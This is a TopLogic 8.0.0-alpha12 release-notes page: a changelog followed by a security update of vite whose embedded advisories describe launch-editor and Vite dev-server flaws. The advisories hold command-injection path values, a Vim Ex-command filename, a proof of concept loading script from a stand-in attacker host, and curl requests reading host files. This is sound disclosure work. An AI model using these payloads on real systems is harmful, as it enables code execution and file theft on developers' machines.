TopLogic - the automated application engine
  • Releases
  • Dokumentation
  • Github
  • Discord
  1. Home
  2. Releases
  3. TL_8.0.0-alpha12
  4. #29950

8.0.0-alpha12
TopLogic Release

2026-10-30

enhancement

major
#29658
TL Views: Schwebende Hauptaktion (Floating Action Button) und Aktionsfächer (Speed Dial)
#29704
tl-archetype-app: Neue Anwendung standardmäßig mit React-Oberfläche erzeugen, klassische Oberfläche per Option
#29729
TL Views: Ein Flussdiagramm (flow-diagram) lässt sich nicht für Mehrfachauswahl konfigurieren
#29781
TL Views: Aktionsketten mit benannten Argumenten – Auslöser liefern mehrere Werte, Skripte verwenden sie als implizite Variablen, Aktionen mit Ergebnis führen Folgeaktionen in <with-result> aus
#29856
React UI: consolidate the access check definitions of views, commands and TL-Script functions
#29860
Konfigurationsformulare: Eingabefelder werden über fachliche Annotationen (@MultiLine, @Code, @Html, @Inline, …) gewählt, in klassischer und React-Oberfläche gleich; @ControlProvider und @ConfigControl entfallen
#29865
Configuration layering: removing a list entry whose key the underlying layers do not (or no longer) define fails the application start
#29875
Design System wave 5a: color input, icon select and slider read the design system package
#29877
Developer docs: an article on the persistency configuration of an application (single branch vs. multiple branches, type systems, what changes the schema)
#29880
XIO: Import of an evolving external format: report unknown elements, reject a second composite container with a location, match several values in one <switch> case
#29887
TL Views: Einfügevorschläge für ein Textfeld - per TL-Script berechnete Vorschläge an der Schreibmarke
#29888
view-layer forms: normalize an entered value before it is stored
#29892
view-layer forms: actions that enter and leave edit mode (<enter-edit-mode/>, <leave-edit-mode/>)
#29893
Model upgrade log does not mention a reference whose target type changed
#29896
Typed configuration: config:ref addresses an entry of a keyed list by a globally unique key without naming the path to it; a view overlay addresses every element by its id
#29904
Design System wave 5b: media controls read the design system package
#29905
Switch tl-engine to Java 21
#29906
Design System wave 5c: calendar, kanban, dashboard and value list read the design system package
#29914
Design System wave 5d: foundation pieces and foreign stylesheets read the design system package; tlReactControls.css is removed
#29917
Rollenprofil-Import: implizite Leserechte der umgebenden Sicherheits-Layouts ergänzen
#29941
TL Views: Auswahlfeld, das zusätzlich einen frei eingegebenen Wert annimmt ("auswählen oder neu eingeben")
#29942
TL Views: Erwähnungen im HTML-Editor - Verweise auf Objekte (z.B. Projektmitglieder, Tickets) per @/# einfügen, die zu Links werden
#29944
Konfigurierbare Start-Haken, die nach dem Start aller Services ausgeführt werden
#29947
Steueranwendung: Workspace-Management – leere TopLogic-Anwendung in einem Docker-Container anlegen, starten, stoppen und aufräumen
#29948
Credentials für externe Dienste ohne Geheimnisse in der Konfiguration: Secret-Quellen, Token-basierte Authentifizierung (Keycloak/OIDC, Workload Identity, Azure) und API-Gateway
#29953
Steueranwendung: Agenten-Harness im Workspace – Auftrag an Claude Code, Live-Transkript, Übernahme durch einen Menschen, LLM-Zugang über einen Proxy
#29954
KI: Modellkatalog aus der Dienstkonfiguration des LLM-Anbieter-Dienstes herausnehmen und in einer eigenen Ansicht zeigen
#29955
React-UI: Dienstkonfiguration anzeigen, bearbeiten und speichern (mit Kennzeichnung "Neustart erforderlich")
#29956
Anwendungen und Fragment-Module ohne TopLogic-Parent-POM bauen: BOM, Maven-Packaging tl-app/tl-fragment und Feature-Starter
#29957
React-Oberfläche: Browser-Tab-Titel folgt der angezeigten Ansicht
#29963
Development-Menü im React-UI nur für angemeldete Benutzer anzeigen
#29965
tl-ai-core: LLM-Anbieter ohne Anwendungskonfiguration über Umgebungsvariablen aktivieren
#29968
Filterleiste: Presets mit Zähler und eigener CSS-Klasse
#29973
XML import: <set-translation> stores an empty text and needs a bound language
#29974
XML import: <unless-known> cannot import the attributes of a known element without its structure
#29975
XML import: <resolve-existing> loads only the partition of existing objects an ID belongs to; linking checks membership without reading the whole reference
#29976
View layer: <tree-table> offers no <export> (Excel export) although the export writes trees as outlines
#29977
View layer: <tree-table> has no node display (icon, label, CSS class per cell) and no row-class
#29981
View layer: a table column cannot be declared unsortable, so the groups it forms cannot keep the order of their rows
#29989
Javadoc-Verweise und ungenutzte Imports im Maven-Build prüfen, Eclipse meldet fehlerhaftes Javadoc nur noch als Warnung
#30012
Translator: erkannte Ausgangssprache bei automatischer Spracherkennung zurückgeben
#30017
Build: Git-Merge-Treiber für die generierten Ressourcendateien, damit parallele Pull-Requests nicht bei jedem neuen Schlüssel in Konflikt geraten
#30051
Initiale Gruppen "user" und "superuser" in der Basis anlegen
minor
#29852
TL Views: Mehrwertige Binärwerte als Datei-Chips (oder Werteliste) mit Mehrfach-Upload, Pflichtfeld, Validierung und accept-Filter; <file-list> entfällt
#29872
TL Views: the min/max/step of a number input (slider) are fixed in the configuration and cannot come from a channel or expression
#29873
TL Views: a time input (ReactDatePickerControl.Kind.TIME) cannot enter or show seconds
#29874
TL Views: a select input always sorts its options by label - no way to keep the order of the option list
#29898
Development start (tl-ide-jetty) provides no Jakarta WebSocket container
#29952
React-View-Schicht: Fenster folgen Commits anderer Threads ohne eigene Konfiguration – ersetzt CommitSource und den Refresh-Teil von AgentViewRefreshService

defect

critical
#29926
Derived attributes computed by a <query> storage evaluate to null for a user without Discover right on the object (regression of #29782 in 8.0.0-alpha11)
#29994
Build: master verletzt den JavaDoc- und Import-Check von #29989 (tl-chat, tl-ai-core, tl-factory)
major
#29742
Konfigurierte Defaults (<defaults>) wirken nicht innerhalb der Anwendungskonfiguration
#29798
Derived reference reads as empty in the commit check (no user): result filter of AttributeByExpression stays on
#29869
A React view window that lost its SSE connection keeps every later KB revision in memory until its session ends
#29876
KnowledgeBase on H2: deleting objects scans the association tables (the reference indexes start with BRANCH, and H2 seeks an IN list only on the first index column)
#29886
view-layer <confirm>: line breaks of the message are collapsed
#29889
Adding one element to a set reference reads the whole set (quadratic set building)
#29895
deploy/local applies only to the module in the working directory: a module of a multi-module build cannot be started from the reactor root
#29908
React-Tabelle zeigt nach dem Neuladen der Seite in den oberen Zeilen keinen Inhalt
#29916
Rollenprofile: Leserecht eines Dialogs wird auf die öffnende Komponente übertragen
#29918
Design System: a panel's toolbar sticks to the title instead of standing at the end of the title bar
#29920
TL Views: Die Zeilenauswahl in einer React-Tabelle braucht bis zu einer Sekunde, weil jede Auswahl alle Zellen neu überträgt und bei einer Tabelle mit Eingabekanal alle Zellen neu erzeugt
#29922
Composition-Tabelle in einem Formular bekommt keine Höhe, ein Dialog kann nicht mehr bis zur Tabelle scrollen
#29923
React-Oberfläche: Inhalt eines Navigationseintrags mit route="none" erzeugt URLs, die sich nicht öffnen lassen
#29925
TestGenerateJavaIntegration fails with the split local Maven repository of the CI builds
#29931
invert-link-table makes both ends of a link the destination on MySQL
#29932
Gruppen und Adressen sind für Superuser nicht lesbar: tl.accounts:Group und tl.accounts:Address haben keine Rollenquelle
#29933
React-UI: Der Griff eines Split-Panels "läuft weg" beim Ziehen mit der Maus; tiefe Baumknoten brechen um statt waagerecht zu rollen
#29934
View-Designer: Zur Laufzeit geöffnete Sichten (Rahmen eines tile-stack, navigate-push, open-dialog) fehlen im Entwurfsbaum und lassen sich nicht per "Sicht auswählen" anwählen
#29964
React UI: password login sometimes logs out immediately - a command of the replaced window triggers the stale-UI reload of the old window URL
#29967
React-UI: Spaltenauswahl der Tabelle bietet das Gruppieren nach einer Spalte nicht mehr an
#29970
React-Bridge: Ein Sprung, der seine Zielseite erst erzeugt, malt sie ohne die gesetzte Auswahl
#29971
React-Views: Die Ausführbarkeit eines Befehls übersieht einen Commit eines fremden Threads während des Seitenaufbaus
#29978
View layer: <tree-table> does not reveal a selected object under a collapsed node and misses changes while hidden
#29979
Migration: migrations of an application module without a stored version never run, the auto model upgrade runs instead
#29980
Migration: update-class with a new-name in another module does not move the class's associations
#29983
View layer: a tab strip wider than its container neither scrolls nor wraps nor collapses into a menu
#29990
React-UI: Panels und bedingte Inhalte nehmen in Split-Flächen, Tabs und Stacks die falsche Höhe
#29991
View layer: split-panel ignores unit="px" of a pane and treats its size as a weight
#29992
React-Modelleditor: Annotation "Eingabekontrolle" bietet keine Umsetzung zur Auswahl an
#29999
React-UI: Tabelle zeigt nicht mehr an, welche Spalten gefiltert sind
#30001
Entwicklungsmodus: neu geschriebene WEB-INF-Dateien sind über den FileManager erst verzögert sichtbar (Theme-Import zeigt keine Variablen, ThemeEditor_Ticket-24158_Import-export scheitert sporadisch)
#30002
Service-Editor: Konfiguration aller Services fehlerfrei anzeigen
#30005
React-Oberfläche: Ein Einstiegspunkt verliert beim Laden seine View-Datei aus der URL, F5 zeigt die Default-View (Regression #29957)
#30013
TL Views: Auswahlfelder bieten später angelegte Objekte ihres Typs erst nach neuer Anmeldung an
#30014
React-Formulare: Sichtbarkeit beim Anlegen (create-visibility) eines Attributs wird nicht berücksichtigt
#30015
React-Oberfläche: Anlegen in einem Container wird nicht geprüft, solange der Container-Kanal leer ist
#30016
Aufzählungswerte (Klassifikatoren) sind für Benutzer ohne Administratorrechte nicht entdeckbar: Ein Aufzählungs-Attribut kann nicht gesetzt werden
#30019
TABLE.debounce() verwendet globalen Singleton-Timer — Slice-Nachladen schlägt bei mehreren Tabellen fehl
#30024
React-Oberfläche: NullPointerException in ModelAccessPolicy.isGrantable, wenn ein Zugriffs-Parent seine Parent-Typen nicht statisch kennt
#30026
Instabiler Test: TestQueueReporter#testGetReport schlägt fehl, wenn zwei Builds auf demselben Knoten gleichzeitig laufen oder der Rechner ausgelastet ist
#30030
Mail-Server-Daemon: neue Mails anhand der IMAP-UID statt des Gelesen-Flags erkennen, unbekannte Mails standardmäßig im Postfach belassen
#30055
TL Views: a table with active-preset and search-term channels renders every filtered row instead of a window; 15k rows load 88 MB and crash the browser tab
minor
#29515
Inkonsistente Drop-Typ Konfiguration für Drop-Operationen möglich
#29868
KBChangeAnalzyer logs "There is a part id ... but no item for update" for every update of a part of a monomorphic inline-set storage
#29883
A boolean attribute without a value reads as false on a persistent object, as null on a transient one
#29894
Commit einer geänderten Annotation loggt ERROR mit Stacktrace, wenn der alte Wert eines abgeleiteten Attributs (z.B. options) nicht mehr instanziierbar ist
#29935
Popup-Fenster (Skript-Rekorder, Dokumentation) lässt sich nach dem Schließen nicht sofort wieder öffnen (Edge/Chromium): Fehler "Cannot read properties of null (reading 'services')"
#29959
Persönliche Einstellungen werden nicht gespeichert, wenn der Benutzer eine verletzte Modell-Bedingung hat (z. B. root ohne Kontaktdaten)
#29960
React-Oberfläche: Browser-Tab zeigt immer "TopLogic View" statt des Anwendungsnamens
#29969
SecurityConfiguration: Crash durch DeletedObjectAccess
#29972
composition-table im Bearbeitungsmodus: die Lösch-Spalte bekommt den freien Platz statt der letzten Datenspalte
#30056
TL Views: NullPointerException in ReactControl.commitUpdate from the session-timeout notice countdown ("Failed to announce the activity of session")

task

major
#29767
Clean up loose design documents (docs/, specs/, module doc folders): valid content into the developer documentation, open work into tickets
#29924
Integrate the tl-ai repository into tl-engine: its modules become engine modules
#30037
Name the base type of polymorphic configuration properties as wildcard bound (PolymorphicConfiguration<? extends X>) and check the rule in the build
minor
#29921
Renovate hinterlässt in npm-Lock-Dateien verwaiste Einträge, die der nächste Maven-Build wieder entfernt

update

critical
#29949
Update dependency dompurify to ^3.4.17 [SECURITY]
#29950
Update dependency vite to ^6.4.4 [SECURITY]
#29984
Update dependency serialize-javascript to ^7.1.3 [SECURITY]
#30008
Update dependency com.google.guava:guava to v33 [SECURITY]
update

critical

#29950

Update dependency vite to ^6.4.4 [SECURITY]

DependencyUpdateSecurityIssue

This PR contains the following updates:

Package Type Update Change
--- --- --- ---
vite (source) devDependencies patch ^6.0.0 → ^6.4.4
vite (source) devDependencies patch ^6.0.0 → ^6.4.4

---

⚠️ Warning

Some dependencies could not be looked up. Check the warning logs for more information.

---

launch-editor: fs.existsSync() existence check can be bypassed on Windows

CVE-2026-112942 / GHSA-587h-7wmj-h5pm

Details

##### Summary

launch-editor checked fs.existsSync(fileName) before passing a supplied path to an editor command. On Windows, an attacker can bypass this check with a crafted path ending in \\..:line:column . This removes the requirement that the attacker be able to place a file with a malicious filename.

Combined with the % escaping issue described in GHSA-698v-4r3x-3vcv, this bypass can lead to OS command injection when an attacker controls the file argument.

##### Impact

Only apps that runs on Windows is affected.

##### Details

The earlier advisory assumed that fs.existsSync() required an attacker-controlled filename to exist. This advisory covers a bypass of that requirement.

A crafted value ending in \\..:1:1 is interpreted differently by launch-editor-middleware , launch-editor , and Windows:

  1. launch-editor-middleware calls path.resolve() while the final path component is ..:1:1 , so it is not treated as a parent-directory component.
  2. launch-editor treats :1:1 as a line-and-column suffix and removes it, leaving a path ending in \\.. .
  3. On Windows, fs.existsSync() accepts the resulting path as the existing parent directory even though the attacker-controlled preceding component does not exist.
  4. Because the existence check passes, the crafted filename reaches the Windows shell command.
Severity
  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
References
  • https://github.com/vitejs/launch-editor/security/advisories/GHSA-587h-7wmj-h5pm
  • https://nvd.nist.gov/vuln/detail/CVE-2026-112942
  • https://github.com/vitejs/launch-editor/commit/f13cd835d4b8e860b1d4d080ad8a490cc2463679
  • https://github.com/vitejs/launch-editor
  • https://github.com/vitejs/launch-editor/releases/tag/v2.14.2

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

launch-editor: escapeCmdArgs() omits % escaping on Windows

CVE-2026-112943 / GHSA-698v-4r3x-3vcv

Details

##### Summary

launch-editor did not escape % on Windows when passing an argument to cmd . When an environment variable contained a malicious value, it was possible that that content to be executed.

##### Impact

Only apps that match all of the following conditions are affected:

  • The user uses Windows
  • An attacker can place a file with the malicious filename containing & or %
  • Either of
    • An attacker can inject an environment variable with a malicious value
    • An attacker can add a NTFS alternate data stream to the file placed

##### Details

Unlike .sh files, .bat / .cmd files on Windows cannot be called directly using child''process.spawn and requires passing them as an argument of cmd.exe . To do so, launch-editor escapes the arguments passed to cmd.exe . But launch-editor did not escape % which is used for environment variables.

Because launch-editor checks if the argument matches an existing filename, the attack requires the attacker to be able to place a file.

  • If the attacker can inject an environment variable as well, they can include the subcommand in the env variable (e.g. set &calc.exe to %ENV% ) and call launchEditor with something%ENV% .
  • If the attacker can place a NTFS alternate data stream to the file (e.g. a NTFS alternate data stream named ~-38%calc.exe ), they can call launchEditor with something %CMDCMDLINE:~-38%calc.exe .
  • If the attacker can create a filename containing the %CD% and the subcommand (e.g. &calc.exe ), they can call launchEditor with ./%CD%
Severity
  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
References
  • https://github.com/vitejs/launch-editor/security/advisories/GHSA-698v-4r3x-3vcv
  • https://nvd.nist.gov/vuln/detail/CVE-2026-112943
  • https://github.com/vitejs/launch-editor/pull/155
  • https://github.com/vitejs/launch-editor/commit/3c2f9bf2ff8fe63d056a8f9cc52d825b66ca79fc
  • https://github.com/vitejs/launch-editor
  • https://github.com/vitejs/launch-editor/releases/tag/v2.14.2

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Vite: Cross origin script execution through Vite custom middleware

CVE-2026-112945 / GHSA-9jrq-w75r-8gcw

Details

##### Summary

When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.

##### Impact

Only apps that match the following conditions are affected:

  • the dev server passes an unchanged browser request URL to server.transformIndexHtml : this is normally used for server.middlewareMode: true or appType: 'custom' . The internal call for appType: 'spa' and appType: 'mpa' does not match this.
  • the transformed HTML contains an inline module script
  • from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions

##### Details

Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:

{{{js const url = req.originalUrl template = await vite.transformIndexHtml(url, template)

For a development server at  http://localhost:5173 , an attacker can send this URL:

{{{text
http://localhost:5173//evil.example/payload.js?/../../package.json
{{{

In Vite 8.2.1, [https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L99-L115  createDevHtmlTransformFn  and  getHtmlFilename  in  indexHtml.ts ] use the request URL as both the transform  path  and the input to  path.join . The value passed to  path.join  still includes its query text.

Chromium preserves  /../../package.json  because it follows  ?  and is therefore query text. Vite treats the same characters as filesystem path components, so the  ..  components resolve the derived filename to the existing project  package.json .

[https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L216-L232 The existing file branch in  indexHtml.ts ] checks that filename with  fs.existsSync , then preserves the  htmlPath  supplied by the attacker as  proxyModuleUrl . [https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L271-L278 The inline module rewrite in the same file] writes that value into the generated  src :

{{{html
<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>
{{{

The generated value is a valid URL. Its leading  //  tells the browser to request the module from  evil.example  using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.

##### PoC

{{{js
import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'

const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
  pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
  viteModule.createServer ?? viteModule.default.createServer

// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath =  //127.0.0.1:${attackerPort}/payload.js?/../../package.json 
const html = '<script type="module">document.body.textContent = "Vite app"</script>'

const listen = (server, port = 0) =>
  new Promise((resolve, reject) => {
    server.once('error', reject)
    server.listen(port, '127.0.0.1', () => {
      server.off('error', reject)
      resolve(server.address().port)
    })
  })

const close = (server) =>
  new Promise((resolve, reject) => {
    server.close((error) => (error ? reject(error) : resolve()))
  })

let attackerRequest = null
const attacker = createHttpServer((request, response) => {
  attackerRequest = request.url
  response.writeHead(200, {
    'access-control-allow-origin': '*',
    'content-type': 'text/javascript',
  })
  response.end(
    "document.documentElement.dataset.viteXssPoc = 'executed'",
  )
})

const vite = await createViteServer({
  appType: 'custom',
  configFile: false,
  root: directory,
  server: {
    hmr: false,
    middlewareMode: true,
    watch: null,
  },
})

const application = createHttpServer((request, response) => {
  vite.middlewares(request, response, async (error) => {
    if (error) {
      response.destroy(error)
      return
    }

    try {
      const transformed = await vite.transformIndexHtml(request.url, html)
      response.writeHead(200, { 'content-type': 'text/html' })
      response.end(transformed)
    } catch (transformError) {
      response.destroy(transformError)
    }
  })
})

await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })

try {
  const page = await browser.newPage()
  await page.goto( http://127.0.0.1:${applicationPort}${exploitPath} )
  await page.waitForFunction(
    () => document.documentElement.dataset.viteXssPoc === 'executed',
  )

  console.log( attacker request: ${attackerRequest} )
  console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
  await browser.close()
  await close(application)
  await vite.close()
  await close(attacker)
}
{{{

Observed output on Vite 8.2.1:
{{{text
attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page
{{{

=== Severity ===
- CVSS Score: 2.1 / 10 (Low)
- Vector String:  CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N 

=== References ===
- [https://github.com/vitejs/vite/security/advisories/GHSA-9jrq-w75r-8gcw https://github.com/vitejs/vite/security/advisories/GHSA-9jrq-w75r-8gcw]
- [https://nvd.nist.gov/vuln/detail/CVE-2026-112945 https://nvd.nist.gov/vuln/detail/CVE-2026-112945]
- [https://github.com/vitejs/vite/pull/23653 https://github.com/vitejs/vite/pull/23653]
- [https://github.com/vitejs/vite/commit/7dafd8e56f152403a3230608fa4005273c2e9e17 https://github.com/vitejs/vite/commit/7dafd8e56f152403a3230608fa4005273c2e9e17]
- [https://github.com/vitejs/vite https://github.com/vitejs/vite]

This data is provided by [https://osv.dev/vulnerability/GHSA-9jrq-w75r-8gcw OSV] and the [https://github.com/github/advisory-database GitHub Advisory Database] ([https://github.com/github/advisory-database/blob/main/LICENSE.md CC-BY 4.0]).


---

== launch-editor: Editor CLI flag misinterpretation causing arbitrary command execution for some editors ==
[https://nvd.nist.gov/vuln/detail/CVE-2026-112944 CVE-2026-112944] / [https://github.com/advisories/GHSA-r825-w8mm-5pxw GHSA-r825-w8mm-5pxw]




=== Details ===
##### Summary

 launch-editor  forwarded file paths directly to editors without sanitization. If a path resembles a CLI flag, editors like Vim may interpret it as a command, potentially causing unintended file overwrites or command execution.

##### Impact

##### Direct  launch-editor  users

Only apps that match all of the following conditions are affected:

- The attacker is able to create a file system entry (e.g. a file or directory) starting with  +  or  -  in the working directory
- The user uses or the app specifies any of the following editors:
  - Vim (including gVim)
  - MacVim
  - Emacs (including Emacsclient)
  - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
- The first argument of  launchEditor  can start with  +  or  -  or the user is using WSL

#####  launch-editor-middleware  users

Only apps that match the following conditions are affected:

- The attacker is able to create a file system entry (e.g. a file or directory) starting with  +  or  -  in the working directory
- The user uses or the app specifies any of the following editors:
  - Vim (including gVim)
  - MacVim
  - Emacs (including Emacsclient)
  - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
- launch-editor older than v2.2.0 is used, or the user is using WSL

##### Vite users

Only apps that match the following conditions are affected:

- The attacker is able to create a file system entry (e.g. a file or directory) starting with  +  or  -  in the working directory
- The user uses or the app specifies any of the following editors:
  - Vim (including gVim)
  - MacVim
  - Emacs (including Emacsclient)
  - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
- The user is using WSL

##### Details

 launchEditor(file)  function passes the file name as-is to the editor if the file with that file name exists. If the file name starts with  -  (also  +  for Vim), the editor treats them as flags rather than positional arguments. For example, Vim treats arguments starting with  +  as an Ex command. As a result, an existing relative directory such as:
{{{
+call writefile(["SAFE''MARKER"],"LAUNCH''EDITOR_MARKER")|qa!
{{{
is not treated as a filename when passed to Vim. Vim executes the embedded Ex command.

The following editor has a potentially destructive operation exposed to the CLI arguments:
- Vim (including gVim)
- MacVim
- Emacs (including Emacsclient)
- Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)

 launch-editor-middleware  v2.2.0+ converts the passed file path to an absolute path so those are not affected as long as the user is not using WSL. For WSL,  launch-editor  converts the paths to relative paths internally, so those are still affected.

Vite 2.0.0+ uses  launch-editor-middleware  v2.2.0+ so the WSL users are only affected.

=== Severity ===
- CVSS Score: 6.3 / 10 (Medium)
- Vector String:  CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N 

=== References ===
- [https://github.com/vitejs/launch-editor/security/advisories/GHSA-r825-w8mm-5pxw https://github.com/vitejs/launch-editor/security/advisories/GHSA-r825-w8mm-5pxw]
- [https://nvd.nist.gov/vuln/detail/CVE-2026-112944 https://nvd.nist.gov/vuln/detail/CVE-2026-112944]
- [https://github.com/vitejs/launch-editor/pull/156 https://github.com/vitejs/launch-editor/pull/156]
- [https://github.com/vitejs/launch-editor/commit/f6e6701bb1f16f2dd242b321374f1b6cca6eb6d4 https://github.com/vitejs/launch-editor/commit/f6e6701bb1f16f2dd242b321374f1b6cca6eb6d4]
- [https://github.com/vitejs/launch-editor https://github.com/vitejs/launch-editor]
- [https://github.com/vitejs/launch-editor/releases/tag/v2.14.2 https://github.com/vitejs/launch-editor/releases/tag/v2.14.2]

This data is provided by [https://osv.dev/vulnerability/GHSA-r825-w8mm-5pxw OSV] and the [https://github.com/github/advisory-database GitHub Advisory Database] ([https://github.com/github/advisory-database/blob/main/LICENSE.md CC-BY 4.0]).


---

== Vite: Files outside  server.fs.allow  could be served when project paths match system paths on non-Windows machine ==
[https://nvd.nist.gov/vuln/detail/CVE-2026-112946 CVE-2026-112946] / [https://github.com/advisories/GHSA-rq7h-c2jc-7f22 GHSA-rq7h-c2jc-7f22]




=== Details ===
##### Summary

The content of files outside  server.fs  setting can be returned to the browser if the project imports a file path concatenated with the  root . For example, if the project references  <path-to-project-root>/etc/hosts , the content of  /etc/hosts  was possible to be returned.

The content of files outside the  server.fs.allow  option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing  <project-root>/etc/hosts  could make Vite return the host's  /etc/hosts  file.

##### Impact

Only apps that meet all of the following conditions are affected:

- explicitly expose the Vite dev server to the network (using  --host  or the [https://vite.dev/config/server-options#server-host  server.host  option])
- contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host
- The sensitive file is not matched by [https://vite.dev/config/server-options#server-fs-deny  server.fs.deny ]
- the dev server is not running on Windows

##### Details

When Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as  /etc/hostname . In affected versions, Vite converts that URL with  fsPathFromUrl  and adds the result to  safeModulePaths . Because  fsPathFromUrl  ensures a leading slash without resolving the URL against the project root, the project URL  /etc/hostname  is recorded as if it were the absolute filesystem path  /etc/hostname .

For a later request to  /@fs/etc/hostname , the raw-filesystem middleware interprets  /etc/hostname  as an absolute path. The access check applies  server.fs.deny , then accepts paths present in  safeModulePaths  before checking  server.fs.allow . As a result, the request can return the host file instead of the project file that originally populated  safeModulePaths .

##### PoC
The following example requires Linux with a readable  /etc/hostname :
{{{bash
$ mkdir vite-safe-module-path-poc
$ cd vite-safe-module-path-poc
$ npm init -y
$ npm install vite@8.3.1
$ mkdir -p etc
$ echo 'PROJECT-DECOY\n' > etc/hostname
$ echo 'import "./etc/hostname"\n' > main.js
$ npx vite --host 127.0.0.1
{{{

In another terminal:
{{{bash
$ curl -o /dev/null -s -w '%{http_code}\n' http://127.0.0.1:5173/main.js
200
$ curl -sS -o response -w '%{http_code}\n' http://127.0.0.1:5173/@fs/etc/hostname
200
$ cmp -s response /etc/hostname && echo 'response matches host file'
response matches host file
{{{

=== Severity ===
- CVSS Score: 6.3 / 10 (Medium)
- Vector String:  CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N 

=== References ===
- [https://github.com/vitejs/vite/security/advisories/GHSA-rq7h-c2jc-7f22 https://github.com/vitejs/vite/security/advisories/GHSA-rq7h-c2jc-7f22]
- [https://nvd.nist.gov/vuln/detail/CVE-2026-112946 https://nvd.nist.gov/vuln/detail/CVE-2026-112946]
- [https://github.com/vitejs/vite/pull/23656 https://github.com/vitejs/vite/pull/23656]
- [https://github.com/vitejs/vite/commit/170b92791421bcd484f7325936d989a82d6bd4aa https://github.com/vitejs/vite/commit/170b92791421bcd484f7325936d989a82d6bd4aa]
- [https://github.com/vitejs/vite/commit/45c0e3392a298626955a0ab93a8e51232daac721 https://github.com/vitejs/vite/commit/45c0e3392a298626955a0ab93a8e51232daac721]
- [https://github.com/vitejs/vite/commit/c3e06f92e969952466b4e2f5801e85e1e00cd905 https://github.com/vitejs/vite/commit/c3e06f92e969952466b4e2f5801e85e1e00cd905]
- [https://github.com/vitejs/vite/commit/e570d8d016096b5f8f6f09808376ca6cf73f27d0 https://github.com/vitejs/vite/commit/e570d8d016096b5f8f6f09808376ca6cf73f27d0]
- [https://github.com/vitejs/vite/commit/f0d76c7da13d5e794807b82f0b86c1931a8438e3 https://github.com/vitejs/vite/commit/f0d76c7da13d5e794807b82f0b86c1931a8438e3]
- [https://github.com/vitejs/vite https://github.com/vitejs/vite]

This data is provided by [https://osv.dev/vulnerability/GHSA-rq7h-c2jc-7f22 OSV] and the [https://github.com/github/advisory-database GitHub Advisory Database] ([https://github.com/github/advisory-database/blob/main/LICENSE.md CC-BY 4.0]).


---

== Release Notes ==




== [https://github.com/vitejs/vite/releases/tag/v6.4.4  v6.4.4 ] ==

[https://github.com/vitejs/vite/compare/v6.4.3...v6.4.4 Compare Source]

Please refer to [https://github.com/vitejs/vite/blob/v6.4.4/packages/vite/CHANGELOG.md CHANGELOG.md] for details.



---
  • Get Started
  • Github
  • Discord
  • Das Unternehmen hinter TopLogic
  • Softwareentwicklung heute
  • Kontakt

© Copyright – Business Operation Systems GmbH

  • top-logic.com
  • Nutzungsbedingungen
  • Impressum
  • Rechtlicher Hinweis
  • Datenschutz
  • EN
  • Login